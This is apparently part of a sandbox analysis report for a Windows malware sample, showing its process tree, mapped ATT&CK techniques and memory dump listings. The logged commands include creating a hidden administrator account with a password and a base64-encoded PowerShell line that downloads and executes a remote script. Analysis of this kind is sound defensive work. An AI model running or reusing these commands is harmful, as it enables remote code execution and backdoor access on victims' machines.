    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1424

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc LrDRwwkb
1⤵
- Suspicious use of WriteProcessMemory
PID:1608
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc LrDRwwkb
  2⤵
  PID:4820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc LrDRwwkb
    3⤵
    PID:1900

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2264
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:2260

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2220
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:2568

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3336
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:4092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2004

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1804-43-0x00000227577E6000-0x00000227577E8000-memory.dmp

Filesize
8KB

Download
memory/1804-41-0x00000227577E3000-0x00000227577E5000-memory.dmp

Filesize
8KB

Download
memory/1804-40-0x00000227577E0000-0x00000227577E2000-memory.dmp

Filesize
8KB

Download
memory/1804-38-0x00007FF93F040000-0x00007FF93FA2C000-memory.dmp

Filesize
9.9MB

Download
memory/2004-92-0x0000025929DB0000-0x0000025929DB2000-memory.dmp

Filesize
8KB

Download
memory/2004-93-0x0000025929DB3000-0x0000025929DB5000-memory.dmp

Filesize
8KB

Download
memory/2004-91-0x00007FF93F040000-0x00007FF93FA2C000-memory.dmp

Filesize
9.9MB

Download
memory/2004-96-0x0000025929DB6000-0x0000025929DB8000-memory.dmp

Filesize
8KB

Download
memory/2004-97-0x0000025929DB8000-0x0000025929DB9000-memory.dmp

Filesize
4KB

Download
memory/3332-50-0x00000287EA046000-0x00000287EA048000-memory.dmp

Filesize
8KB

Download
memory/3332-49-0x00000287EA043000-0x00000287EA045000-memory.dmp

Filesize
8KB

Download
memory/3332-47-0x00000287EA040000-0x00000287EA042000-memory.dmp

Filesize
8KB

Download
memory/3332-45-0x00007FF93F040000-0x00007FF93FA2C000-memory.dmp

Filesize
9.9MB

Download
memory/4228-34-0x0000019180030000-0x0000019180031000-memory.dmp

Filesize
4KB

Download
memory/4228-11-0x00007FF93F040000-0x00007FF93FA2C000-memory.dmp

Filesize
9.9MB

Download
memory/4228-12-0x00000191E75C0000-0x00000191E75C1000-memory.dmp

Filesize
4KB

Download
memory/4228-13-0x00000191FF9E0000-0x00000191FF9E1000-memory.dmp

Filesize
4KB

Download
memory/4228-17-0x00000191FF8D3000-0x00000191FF8D5000-memory.dmp

Filesize
8KB

Download
memory/4228-59-0x00000191FF8D8000-0x00000191FF8D9000-memory.dmp

Filesize
4KB

Download
memory/4228-25-0x0000019180000000-0x0000019180001000-memory.dmp

Filesize
4KB

Download
memory/4228-18-0x00000191FF8D6000-0x00000191FF8D8000-memory.dmp

Filesize
8KB

Download
memory/4228-15-0x00000191FF8D0000-0x00000191FF8D2000-memory.dmp

Filesize
8KB

Download
memory/4228-36-0x00000191808F0000-0x00000191808F1000-memory.dmp

Filesize
4KB

Download
memory/4228-35-0x0000019180560000-0x0000019180561000-memory.dmp

Filesize
4KB

Download
memory/4500-52-0x00007FF93F040000-0x00007FF93FA2C000-memory.dmp

Filesize
9.9MB

Download
memory/4500-54-0x000001D134CF0000-0x000001D134CF2000-memory.dmp

Filesize
8KB

Download
memory/4500-55-0x000001D134CF3000-0x000001D134CF5000-memory.dmp

Filesize
8KB

Download
memory/4500-58-0x000001D134CF8000-0x000001D134CFA000-memory.dmp

Filesize
8KB

Download
memory/4500-57-0x000001D134CF6000-0x000001D134CF8000-memory.dmp

Filesize
8KB

Download
memory/4768-2-0x0000000001130000-0x000000000178B000-memory.dmp

Filesize
6.4MB

Download
memory/4768-6-0x00000236F7C90000-0x00000236F7C92000-memory.dmp

Filesize
8KB

Download
memory/4768-7-0x00000236F7C93000-0x00000236F7C95000-memory.dmp

Filesize
8KB

Download
memory/4768-4-0x00000236F88D0000-0x00000236F8CF1000-memory.dmp

Filesize
4.1MB

Download
memory/4768-8-0x00000236F7C95000-0x00000236F7C96000-memory.dmp

Filesize
4KB

Download
memory/4768-9-0x00000236F7C96000-0x00000236F7C97000-memory.dmp

Filesize
4KB

Download
memory/4768-3-0x00007FF93F040000-0x00007FF93FA2C000-memory.dmp

Filesize
9.9MB

Download